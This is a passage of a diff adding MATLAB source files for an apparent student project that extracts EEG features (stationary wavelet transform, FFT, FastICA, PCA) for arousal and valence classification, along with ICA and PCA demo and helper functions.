|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d2)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d2)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d2)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d2.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d2.^2)];
|
||||
end
|
||||
end
|
||||
data = horzcat(data,data_feature);
|
||||
end
|
||||
csvwrite(strcat(destination,'\',direc,'\T',num2str(i),'.csv'),data);
|
||||
end
|
||||
counter=counter+1;
|
||||
end
|
||||
if strcmp(method,'swt')
|
||||
csvwrite(strcat(project_path,'\Metadata\kelas_swt_',class,'.csv'),kelas);
|
||||
elseif strcmp(method,'ica_swt')
|
||||
csvwrite(strcat(project_path,'\Metadata\kelas_ica_swt_',class,'.csv'),kelas);
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,161 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
% method -> swt;ica_swt
|
||||
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
|
||||
% channel -> [2,3,4,5,6,7,8,14];
|
||||
% fb -> 1.A5;2.D5;3.D4;4.D3;5.D2
|
||||
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function data = computeSWTPredict(raw_data,preprocessing_method,channel,fb,features)
|
||||
%define variable
|
||||
if strcmp(preprocessing_method,'ica_swt')
|
||||
raw_data = computeICAPredict(raw_data);
|
||||
end
|
||||
|
||||
counter=1;
|
||||
data=[];
|
||||
for j = channel
|
||||
[swa,swd] = swt(raw_data(j,:),5,'db4');
|
||||
d2=swd(2,:);
|
||||
d3=swd(3,:);
|
||||
d4=swd(4,:);
|
||||
d5=swd(5,:);
|
||||
a5=swa(5,:);
|
||||
|
||||
if counter==1
|
||||
set(gcf,'Visible','off');
|
||||
plot(a5);
|
||||
print -dpng '../../Web App/img/swt/a5.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(d5);
|
||||
print -dpng '../../Web App/img/swt/d5.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(d4);
|
||||
print -dpng '../../Web App/img/swt/d4.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(d3);
|
||||
print -dpng '../../Web App/img/swt/d3.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(d2);
|
||||
print -dpng '../../Web App/img/swt/d2.png';
|
||||
end
|
||||
|
||||
counter=2;
|
||||
|
||||
data_feature = [];
|
||||
|
||||
if ismember(1,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(a5)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(a5)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(a5)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(a5)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(a5.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(a5.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(2,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d5)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d5)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d5)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d5)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d5.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d5.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(3,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d4)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d4)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d4)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d4)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d4.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d4.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(4,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d3)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d3)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d3)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d3)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d3.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d3.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(5,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d2)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d2)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d2)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d2)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d2.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d2.^2)];
|
||||
end
|
||||
end
|
||||
data = horzcat(data,data_feature);
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,9 @@
|
||||
function [xFFT] = ownFFT(X)
|
||||
X = double(X);
|
||||
N = length(X);
|
||||
n = 0:N-1;
|
||||
k = n';
|
||||
M = exp(-2j*pi*k*n/N);
|
||||
%disp(M);
|
||||
xFFT = (M*X')';
|
||||
end
|
||||
@@ -0,0 +1,55 @@
|
||||
function [xICA] = ownFastICA(X,r)
|
||||
|
||||
%%%%%%%%%% Initial Variable %%%%%%%%%%
|
||||
eps = 1e-6; % Convergence criteria
|
||||
maxIters = inf; % Maximum # iterations
|
||||
normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
%%%%%%%%%% Centering %%%%%%%%%%
|
||||
% Compute sample mean
|
||||
meanEachRow = mean(X,2);
|
||||
% Subtract mean
|
||||
resultCentering = bsxfun(@minus,X,meanEachRow); %Binary singleton expansion function
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
%%%%%%%%%% Whitening %%%%%%%%%%
|
||||
% Compute sample covariance
|
||||
covMatrix = cov(resultCentering');
|
||||
% Whiten data
|
||||
[E,D,~] = svd(covMatrix,'econ'); %Singular Value Decomposition (E->EigenVector;D->EigenValue)
|
||||
resultWhitening = E * diag(1 ./ sqrt(diag(D))) * E' * resultCentering; %Main Whitening
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
%%%%%%%%%% Component Extraction %%%%%%%%%%
|
||||
% Random initial weights
|
||||
W = normRows(rand(r,size(resultWhitening,1)));
|
||||
%W = rand(r,size(resultWhitening,1));
|
||||
% Initial looping variable
|
||||
k = 0;
|
||||
err = inf;
|
||||
% Looping until convergen or until maxiter
|
||||
while (err > eps) && (k < maxIters)
|
||||
% Increment counter
|
||||
k = k + 1;
|
||||
|
||||
% Update weights
|
||||
wLast = W; % Save last weights
|
||||
Sk = permute(wLast * resultWhitening,[1 3 2]);
|
||||
G = Sk .* exp(-0.5 * Sk.^2);
|
||||
Gp = Sk .* G;
|
||||
W = mean(bsxfun(@times,G,permute(resultWhitening,[3 1 2])),3) + bsxfun(@times,mean(Gp,3),wLast);
|
||||
W = normRows(W);
|
||||
|
||||
% Decorrelate weights
|
||||
[U,S,~] = svd(W,'econ');
|
||||
W = U * diag(1 ./ diag(S)) * U' * W;
|
||||
|
||||
% Update error
|
||||
err = max(1 - dot(W,wLast,2));
|
||||
end
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
xICA = W * resultWhitening;
|
||||
xICA = normRows(xICA);
|
||||
end
|
||||
@@ -0,0 +1,33 @@
|
||||
function [swa,swd] = ownSWT(A,level,wname)
|
||||
[h,g]=wfilters(wname,'r');
|
||||
wLength = length(h)/2-1;
|
||||
|
||||
L = size(A,2);
|
||||
for i=1:level
|
||||
shift = 2^(i-1);
|
||||
start = L-(shift*wLength)+1;
|
||||
if(i==1)
|
||||
decompose = A;
|
||||
else
|
||||
decompose = swa(i-1,:);
|
||||
end
|
||||
|
||||
for j=1:L
|
||||
swa(i,j)=0;
|
||||
swd(i,j)=0;
|
||||
shiftIdx=start;
|
||||
for k=1:length(h)
|
||||
swa(i,j)=swa(i,j)+decompose(shiftIdx)*h(k);
|
||||
swd(i,j)=swd(i,j)+decompose(shiftIdx)*g(k);
|
||||
shiftIdx=shiftIdx+shift;
|
||||
if(shiftIdx>L)
|
||||
shiftIdx=shiftIdx-L;
|
||||
end
|
||||
end
|
||||
start=start+1;
|
||||
if(start>L)
|
||||
start=start-L;
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,59 @@
|
||||
%
|
||||
% Name: demo_ICA.m
|
||||
%
|
||||
% Description: Demonstrates the performance of ICA by decomposing
|
||||
% correlated multivariate Gaussian samples into
|
||||
% uncorrelated and maximally independent data streams
|
||||
%
|
||||
% When d == r, the ICA reconstruction is *exact*. Thus
|
||||
% ICA effectively transforms the input data into
|
||||
% uncorrelated, independent components while preserving
|
||||
% information
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%
|
||||
|
||||
rng(1);
|
||||
|
||||
% Knobs
|
||||
n = 100; % # samples
|
||||
d = 3; % Sample dimension
|
||||
r = 2; % # independent components
|
||||
|
||||
% Generate Gaussian data
|
||||
MU = 10 * rand(d,1);
|
||||
sigma = (2 * randi([0 1],d) - 1) .* rand(d);
|
||||
SIGMA = 3 * (sigma * sigma');
|
||||
Z = myMultiGaussian(MU,SIGMA,n);
|
||||
|
||||
% Perform ICA
|
||||
[Zica A T mu] = myICA(Z,r);
|
||||
Zr = T \ pinv(A) * Zica + repmat(mu,1,n);
|
||||
|
||||
% Plot indpendent components
|
||||
figure;
|
||||
for i = 1:r
|
||||
subplot(r,1,i);
|
||||
plot(Zica(i,:),'b');
|
||||
grid on;
|
||||
ylabel(sprintf('Zica(%i,:)',i));
|
||||
end
|
||||
subplot(r,1,1);
|
||||
title('Independent Components');
|
||||
|
||||
% Plot r-dimensional approximations
|
||||
figure;
|
||||
for i = 1:d
|
||||
subplot(d,1,i);
|
||||
hold on;
|
||||
p1 = plot(Z(i,:),'--r');
|
||||
p2 = plot(Zr(i,:),'-.b');
|
||||
grid on;
|
||||
ylabel(sprintf('Z(%i,:)',i));
|
||||
end
|
||||
subplot(d,1,1);
|
||||
title(sprintf('%iD ICA approximation of %iD data',r,d));
|
||||
legend([p1 p2],'Z','Zr');
|
||||
@@ -0,0 +1,59 @@
|
||||
%
|
||||
% Name: demo_PCA1.m
|
||||
%
|
||||
% Description: Demonstrates the performance of PCA by decomposing
|
||||
% correlated multivariate Gaussian samples into
|
||||
% their principal components
|
||||
%
|
||||
% When d == r, the PCA reconstruction is *exact*. Thus
|
||||
% PCA effectively transforms the input data into
|
||||
% orthogonal, maximal variance components while preserving
|
||||
% information
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%
|
||||
|
||||
rng(1);
|
||||
|
||||
% Knobs
|
||||
n = 100; % # samples
|
||||
d = 3; % Sample dimension
|
||||
r = 2; % # principal components
|
||||
|
||||
% Generate Gaussian data
|
||||
MU = 10 * rand(d,1);
|
||||
sigma = (2 * randi([0 1],d) - 1) .* rand(d);
|
||||
SIGMA = 3 * (sigma * sigma');
|
||||
Z = myMultiGaussian(MU,SIGMA,n);
|
||||
|
||||
% Perform PCA
|
||||
[Zpca T U mu] = myPCA(Z,r);
|
||||
Zr = U / T * Zpca + repmat(mu,1,n);
|
||||
|
||||
% Plot principal components
|
||||
figure;
|
||||
for i = 1:r
|
||||
subplot(r,1,i);
|
||||
plot(Zpca(i,:),'b');
|
||||
grid on;
|
||||
ylabel(sprintf('Zpca(%i,:)',i));
|
||||
end
|
||||
subplot(r,1,1);
|
||||
title('Principal Components');
|
||||
|
||||
% Plot r-dimensional approximations
|
||||
figure;
|
||||
for i = 1:d
|
||||
subplot(d,1,i);
|
||||
hold on;
|
||||
p1 = plot(Z(i,:),'--r');
|
||||
p2 = plot(Zr(i,:),'-.b');
|
||||
grid on;
|
||||
ylabel(sprintf('Z(%i,:)',i));
|
||||
end
|
||||
subplot(d,1,1);
|
||||
title(sprintf('%iD PCA approximation of %iD data',r,d));
|
||||
legend([p1 p2],'Z','Zr');
|
||||
@@ -0,0 +1,66 @@
|
||||
%
|
||||
% Name: demo_PCA2.m
|
||||
%
|
||||
% Description: Generates multivariate Gaussian samples and applies PCA to
|
||||
% extract the dimensions of maximum variance and projects the
|
||||
% samples onto them
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%
|
||||
|
||||
rng(1);
|
||||
|
||||
% Knobs
|
||||
n = 1000; % # samples
|
||||
d = 3; % Sample dimension
|
||||
r = 2; % # principal components
|
||||
|
||||
% Generate Gaussian data
|
||||
MU = 10 * rand(d,1);
|
||||
sigma = (2 * randi([0 1],d) - 1) .* rand(d);
|
||||
SIGMA = 3 * (sigma * sigma');
|
||||
Z = myMultiGaussian(MU,SIGMA,n);
|
||||
|
||||
% Perform PCA
|
||||
[Zpca,~,~,~,eigVecs] = myPCA(Z,r);
|
||||
|
||||
% Plot samples + scaled eigenvectors
|
||||
figure;
|
||||
x = @(i,j) MU(i) + [0 eigVecs(i,j)];
|
||||
if (d == 2)
|
||||
% Plot 2D data
|
||||
plot(Z(1,:),Z(2,:),'g+');
|
||||
hold on;
|
||||
for j = 1:r
|
||||
plot(x(1,j),x(2,j),'b','Linewidth',3);
|
||||
end
|
||||
else
|
||||
% Plot first 3 dimensions
|
||||
plot3(Z(1,:),Z(2,:),Z(3,:),'g+');
|
||||
hold on;
|
||||
for j = 1:r
|
||||
plot3(x(1,j),x(2,j),x(3,j),'b','Linewidth',3);
|
||||
end
|
||||
end
|
||||
title(sprintf('First %i principal directions of %iD Gaussian samples',min(3,r),d));
|
||||
grid on;
|
||||
set(gca,'DataAspectRatio',[1 1 1]);
|
||||
|
||||
% Plot principal componenets
|
||||
figure;
|
||||
if (r == 2)
|
||||
% Plot 2D data
|
||||
plot(Zpca(1,:),Zpca(2,:),'r+');
|
||||
else
|
||||
% Plot first 3 dimensions
|
||||
plot3(Zpca(1,:),Zpca(2,:),Zpca(3,:),'r+');
|
||||
zlabel('Principal direction #3');
|
||||
end
|
||||
title(sprintf('Zpca(1:%i,:)',min(3,r)));
|
||||
xlabel('Principal direction #1');
|
||||
ylabel('Principal direction #2');
|
||||
grid on;
|
||||
set(gca,'DataAspectRatio',[1 1 1]);
|
||||
@@ -0,0 +1,28 @@
|
||||
function [Zc mu] = myCenter(Z)
|
||||
%--------------------------------------------------------------------------
|
||||
% Syntax: Zc = myCenter(Z);
|
||||
% [Zc mu] = myCenter(Z);
|
||||
%
|
||||
% Inputs: Z is an (d x n) matrix containing n samples of a
|
||||
% d-dimensional random vector
|
||||
%
|
||||
% Outputs: Zc is the centered version of Z
|
||||
%
|
||||
% mu is the (d x 1) sample mean of Z
|
||||
%
|
||||
% Description: This function returns the centered (i.e., zero mean)
|
||||
% version of the input samples
|
||||
%
|
||||
% NOTE: Z = Zc + repmat(mu,1,n);
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%--------------------------------------------------------------------------
|
||||
|
||||
% Compute sample mean
|
||||
mu = mean(Z,2);
|
||||
|
||||
% Subtract mean
|
||||
Zc = bsxfun(@minus,Z,mu);
|
||||
@@ -0,0 +1,31 @@
|
||||
function [Zcw T mu] = myCenterAndWhiten(Z)
|
||||
%--------------------------------------------------------------------------
|
||||
% Syntax: Zcw = myCenterAndWhiten(Z);
|
||||
% [Zcw T] = myCenterAndWhiten(Z);
|
||||
% [Zcw T mu] = myCenterAndWhiten(Z);
|
||||
%
|
||||
% Inputs: Z is an (d x n) matrix containing n samples of a
|
||||
% d-dimensional random vector
|
||||
%
|
||||
% Outputs: Zcw is the centered and whitened version of Z
|
||||
%
|
||||
% T is the (d x d) whitening transformation of Z
|
||||
%
|
||||
% mu is the (d x 1) sample mean of Z
|
||||
%
|
||||
% Description: This function returns the centered (zero-mean) and whitened
|
||||
% (identity covariance) version of the input samples
|
||||
%
|
||||
% NOTE: Z = T \ Zcw + repmat(mu,1,n);
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%--------------------------------------------------------------------------
|
||||
|
||||
% Center data
|
||||
[Zc mu] = myCenter(Z);
|
||||
|
||||
% Whiten data
|
||||
[Zcw T] = myWhiten(Zc);
|
||||
@@ -0,0 +1,92 @@
|
||||
function [Zica A T mu] = myICA(Z,r,dispFlag)
|
||||
%--------------------------------------------------------------------------
|
||||
% Syntax: Zica = myICA(Z,r);
|
||||
% Zica = myICA(Z,r,dispFlag);
|
||||
% [Zica A T mu] = myICA(Z,r);
|
||||
% [Zica A T mu] = myICA(Z,r,dispFlag);
|
||||
%
|
||||
% Inputs: Z is an (d x n) matrix containing n samples of an
|
||||
% d-dimensional random vector
|
||||
%
|
||||
% r is the desired number of independent components
|
||||
%
|
||||
% [OPTIONAL] dispFlag = {true false} sets the stdout print
|
||||
% state. The default value is dispFlag = true
|
||||
%
|
||||
% Outputs: Zica is an (r x n) matrix containing the r independent
|
||||
% components - scaled to variance 1 - of the input samples
|
||||
%
|
||||
% A and T are the ICA transformation matrices such that
|
||||
% Zr = T \ pinv(A) * Zica + repmat(mu,1,n);
|
||||
% is the r-dimensional ICA approximation of Z
|
||||
%
|
||||
% mu is the (d x 1) sample mean of Z
|
||||
%
|
||||
% Description: This function performs independent component analysis (ICA)
|
||||
% on the input samples using the FastICA algorithm with
|
||||
% Gaussian negentropy
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%--------------------------------------------------------------------------
|
||||
|
||||
% Knobs
|
||||
eps = 1e-6; % Convergence criteria
|
||||
maxSamples = 1000; % Max # data points in sample mean calculation
|
||||
maxIters = 100; % Maximum # iterations
|
||||
|
||||
% Parse display flag
|
||||
dispFlag = (nargin < 3) || dispFlag;
|
||||
|
||||
% Center and whiten input data
|
||||
[Zcw T mu] = myCenterAndWhiten(Z);
|
||||
|
||||
% Parse whitened data
|
||||
[d n] = size(Zcw);
|
||||
if (n > maxSamples)
|
||||
% Truncate data for sample mean calculations
|
||||
Zcwt = Zcw(:,randperm(n,maxSamples));
|
||||
else
|
||||
% Full data
|
||||
Zcwt = Zcw;
|
||||
end
|
||||
|
||||
% Random initial weights
|
||||
normRows = @(X) bsxfun(@times,X,1 ./ sqrt(sum(X.^2,2)));
|
||||
W = normRows(rand(r,d));
|
||||
|
||||
% FastICA w/ Gaussian negentropy
|
||||
k = 0;
|
||||
err = inf;
|
||||
while (err > eps) && (k < maxIters)
|
||||
% Increment counter
|
||||
k = k + 1;
|
||||
|
||||
% Update weights
|
||||
Wlast = W; % Save last weights
|
||||
Sk = permute(Wlast * Zcwt,[1 3 2]);
|
||||
G = Sk .* exp(-0.5 * Sk.^2);
|
||||
Gp = Sk .* G;
|
||||
W = mean(bsxfun(@times,G,permute(Zcwt,[3 1 2])),3) + bsxfun(@times,mean(Gp,3),Wlast);
|
||||
W = normRows(W);
|
||||
|
||||
% Decorrelate weights
|
||||
[U,S,~] = svd(W,'econ');
|
||||
W = U * diag(1 ./ diag(S)) * U' * W;
|
||||
|
||||
% Update error
|
||||
err = max(1 - dot(W,Wlast,2));
|
||||
|
||||
% Display progress
|
||||
if dispFlag == true
|
||||
sprintf('Iteration %i: max(1 - <w%i,w%i>) = %.4g\n',k,k,k - 1,err);
|
||||
end
|
||||
end
|
||||
|
||||
% Transformation matrix
|
||||
A = W;
|
||||
|
||||
% Independent components
|
||||
Zica = A * Zcw;
|
||||
@@ -0,0 +1,42 @@
|
||||
function Z = myMultiGaussian(MU,SIGMA,n)
|
||||
%--------------------------------------------------------------------------
|
||||
% Syntax: Z = myMultiGaussian(MU,SIGMA);
|
||||
% Z = myMultiGaussian(MU,SIGMA,n);
|
||||
%
|
||||
% Inputs: MU is the desired (d x 1) mean vector
|
||||
%
|
||||
% SIGMA is the desired (d x d) covariance matrix
|
||||
%
|
||||
% [OPTIONAL] n is the desired number of samples. The default
|
||||
% value is n = 1
|
||||
%
|
||||
% Outputs: Z is a (d x n) matrix containing n multivariate Gaussian
|
||||
% samples
|
||||
%
|
||||
% Description: This function generates samples from a d-dimensional
|
||||
% multivariate Gaussian random variable with mean vector MU
|
||||
% and covariance matrix SIGMA
|
||||
%
|
||||
% NOTE: mean(Z,2) ~ MU
|
||||
% cov(Z') ~ SIGMA
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%--------------------------------------------------------------------------
|
||||
|
||||
% Parse inputs
|
||||
[d d2] = size(SIGMA);
|
||||
if (d ~= d2) || (d ~= length(MU))
|
||||
% Syntax error
|
||||
error('Syntax error... Type "help myMultiGaussian" for more info');
|
||||
end
|
||||
if nargin < 3
|
||||
% Default # samples
|
||||
n = 1;
|
||||
end
|
||||
|
||||
% Generate samples
|
||||
L = chol(SIGMA,'lower');
|
||||
Z = repmat(MU,1,n) + L * randn(d,n);
|
||||
@@ -0,0 +1,55 @@
|
||||
function [Zpca T U mu eigVecs] = myPCA(Z,r)
|
||||
%--------------------------------------------------------------------------
|
||||
% Syntax: Zpca = myPCA(Z,r);
|
||||
% [Zpca T U mu] = myPCA(Z,r);
|
||||
% [Zpca T U mu eigVecs] = myPCA(Z,r);
|
||||
%
|
||||
% Inputs: Z is an (d x n) matrix containing n samples of a
|
||||
% d-dimensional random vector
|
||||
%
|
||||
% r is the desired number of principal components
|
||||
%
|
||||
% Outputs: Zpca is a (r x n) matrix containing the r principal
|
||||
% components - scaled to variance 1 - of the input samples
|
||||
%
|
||||
% U and T are the PCA transformation matrices such that
|
||||
% Zr = U / T * Zpca + repmat(mu,1,n);
|
||||
% is the r-dimensional PCA approximation of Z
|
||||
%
|
||||
% mu is the (d x 1) sample mean of Z
|
||||
%
|
||||
% eigVecs is a (d x r) matrix containing the scaled
|
||||
% eigenvectors of the sample covariance of Z
|
||||
%
|
||||
% Description: This function performs principal component analysis (PCA)
|
||||
% on the input samples
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%--------------------------------------------------------------------------
|
||||
|
||||
% Center data
|
||||
[Zc mu] = myCenter(Z);
|
||||
|
||||
% Compute truncated SVD
|
||||
%[U S V] = svds(Zc,r); % Equivalent, but usually slower than svd()
|
||||
[U S V] = svd(Zc,'econ');
|
||||
U = U(:,1:r);
|
||||
S = S(1:r,1:r);
|
||||
V = V(:,1:r);
|
||||
|
||||
% Compute principal components
|
||||
Zpca = S * V';
|
||||
%Zpca = U' * Zc; % Equivalent but slower
|
||||
|
||||
% Whiten data, if desired
|
||||
%[Zpca T] = myWhiten(Zpca);
|
||||
T = eye(r); % No whitening
|
||||
|
||||
% Return scaled eigenvectors, if necessary
|
||||
if (nargout >= 5)
|
||||
[~,n] = size(Z);
|
||||
eigVecs = bsxfun(@times,U,diag(S)' / sqrt(n));
|
||||
end
|
||||
@@ -0,0 +1,32 @@
|
||||
function [Zw T] = myWhiten(Z)
|
||||
%--------------------------------------------------------------------------
|
||||
% Syntax: Zw = myWhiten(Z);
|
||||
% [Zw T] = myWhiten(Z);
|
||||
%
|
||||
% Inputs: Z is an (d x n) matrix containing n samples of a
|
||||
% d-dimensional random vector
|
||||
%
|
||||
% Outputs: Zw is the whitened version of Z
|
||||
%
|
||||
% T is the (d x d) whitening transformation of Z
|
||||
%
|
||||
% Description: This function returns the whitened (identity covariance)
|
||||
% version of the input samples
|
||||
%
|
||||
% NOTE: Must have n >= d to fully whiten Z
|
||||
%
|
||||
% NOTE: Z = T \ Zcw;
|
||||
%
|
||||
% Author: Brian Moore
|
||||
% brimoor@umich.edu
|
||||
%
|
||||
% Date: April 26, 2015
|
||||
%--------------------------------------------------------------------------
|
||||
|
||||
% Compute sample covariance
|
||||
R = cov(Z');
|
||||
|
||||
% Whiten data
|
||||
[U,S,~] = svd(R,'econ');
|
||||
T = U * diag(1 ./ sqrt(diag(S))) * U';
|
||||
Zw = T * Z;
|
||||
@@ -0,0 +1,60 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
% method -> fft;ica_fft;swt;ica_swt
|
||||
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
|
||||
% channel -> [2,3,4,5,6,7,8,14];
|
||||
% fb -> for fft : 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma - for swt : 1.A5;2.D5;3.D4;4.D3;5.D2
|
||||
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function preProcessing(project_path,method,class,subject,channel,fb,features)
|
||||
|
||||
%%%%%%%%%%%%%%
|
||||
project_path = strcat(pwd,'\..\..');
|
||||
method='fft';%'ica_fft','swt','ica_swt';
|
||||
|
||||
% class='arousal';%'valence';
|
||||
% subject = 1:34;
|
||||
fb = 1:5;
|
||||
features = 3:4;
|
||||
channel = 1:14;
|
||||
|
||||
%Arousal
|
||||
class='arousal';%'valence';
|
||||
subject = [16,13,10,28,11,7,6,2,20,26,29,15,4,30,5,34,9,24,8,23];
|
||||
% fb = [3,4,5];
|
||||
% features = [2,3];
|
||||
% channel = [3,13,10,2,1,12,4,7,8,11];
|
||||
|
||||
%Valence
|
||||
% class='valence';%'valence';
|
||||
% subject = [16,25,34,9,5,4,20,28,2,6,32,29,15,10,22,11,8,1,31,13];
|
||||
% fb = [3,4,5];
|
||||
% features = [2,3];
|
||||
% channel = [10,3,14,5,1,8,6,4,7,11];
|
||||
|
||||
%%%%%%%%%%%%%%%
|
||||
|
||||
if strcmp(method,'fft')
|
||||
computeFFT(project_path,method,class,subject,channel,fb,features);
|
||||
elseif strcmp(method,'ica_fft')
|
||||
if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
|
||||
computeICA(project_path);
|
||||
end
|
||||
computeFFT(project_path,method,class,subject,channel,fb,features);
|
||||
elseif strcmp(method,'swt')
|
||||
computeSWT(project_path,method,class,subject,channel,fb,features);
|
||||
elseif strcmp(method,'ica_swt')
|
||||
if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
|
||||
computeICA(project_path);
|
||||
end
|
||||
computeSWT(project_path,method,class,subject,channel,fb,features);
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,23 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
% method -> fft;ica_fft;swt;ica_swt
|
||||
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
|
||||
% channel -> [2,3,4,5,6,7,8,14];
|
||||
% fb -> for fft : 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma - for swt : 1.A5;2.D5;3.D4;4.D3;5.D2
|
||||
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function result = preProcessingPredict(raw_data,preprocessing_method,channel,fb,features)
|
||||
if strcmp(preprocessing_method,'fft') || strcmp(preprocessing_method,'ica_fft')
